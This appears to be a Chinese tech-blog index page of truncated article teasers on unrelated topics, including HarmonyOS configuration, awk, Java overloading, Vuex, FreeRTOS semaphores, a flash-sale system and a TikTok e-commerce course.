项目结构介绍 module.json5 src > main > module.json5:Stage模型模块配置文件。主要包含HAP包的配置信息、应用/服务在具体设备上的配置信息以及应用/服务的全局配置信息。具体的配置文件说明,详见module.json5配置文件。 资源分类和访问 关于s…

awk编辑器

目录 工作原理 命令格式 普通格式 BEGIN格式 语句循环格式 awk常见的内建变量(可直接用) 按行打印行内容 统计行数量 按字段输出文本 通过管道、双引号调用 Shell 命令 awk编辑器是一种流编辑器 工作原理 逐行读取文本,默认以空格或tab键为分…

java第十八课 —— 重载、可变参数

方法重载 基本介绍 java 中允许同一个类中,多个同名方法的存在,但要求形参列表不一致! 比如:System.out.println(); out 是 PrintStream 类型 重载的好处 减轻了起名的麻烦减轻了记名的麻烦 注意事项和使用细节 方法名&…

【Vue】Vue2中的Vuex

目录 Vuex介绍Vuex 中的核心概念 在vue2中使用Vuex安装 Vuex创建一个 Vuex Store在 Vue 实例中使用 Vuex编写 Vuex 的 state、mutations 和 actions在组件中使用 Vuex Vuex的核心State组件中获取 Vuex 的状态mapState 辅助函数对象展开运算符 Getter基本使用示例 通过属性访问通…

从多站点到多活,XEOS 对象数据容灾能力再提升

近日, XSKY SDS V6.4 新版本发布,其中 XEOS V6.4 全新升级并完善了统一命名空间功能,更进一步增强和完善了异地容灾方案,配合强一致代理读,可以实现异地多活;同时大幅降低管理复杂度,有效降低容…

TikTok电商带货特训营,跟随时代潮流,跨境掘金(8节课)

课程内容: 1-先导课 2-一、店铺运营认知与思路 3-二、店铺风控注意事项 4-三、美区Tiktok前期工作-1店铺入驻模式 5-三、美区Tiktok前期工作-2指纹浏览器介绍 6-三、美区Tiktok前期工作-4绑定电话号码 7-三、美区Tiktok前期工作-5添加仓库地址 8-三、美区Ti…

【秒杀系统】从零开始打造简易秒杀系统(一):防止超卖

【秒杀系统】从零开始打造简易秒杀系统(一):防止超卖 前言 大家好,好久不发文章了。(快一个月了- -)最近有很多学习的新知识想和大家分享,但无奈最近项目蛮忙的,很多文章写了一半搁…

深入Java:JSON解析与操作的艺术

哈喽,大家好,我是木头左! 一、初识JSON:数据格式的优雅舞者 在现代Web开发中,JSON(JavaScript Object Notation)以其轻量级和易于阅读的特点成为了数据交换的首选格式。它基于JavaScript的一个…

FreeRTOS_信号量_学习笔记

信号量的特性 消息队列用于传输多个数据,但是有时候我们只需要传递状态,这个状态值需要用一个数值表示。套用队列笔记中的流水线例子,可以理解为流水线上工件的数量。 信号:起通知作用 量:还可以用来表示资源的数量 当…

打印机手动双面打印技巧

一、WORD和PDF (1)首先选择要打印的页面范围,然后选择仅奇数页打印 (2)将打印完的纸张翻过来,白纸朝上,纸张的头部先放入打印机 (3)选择要打印的页面范围,然…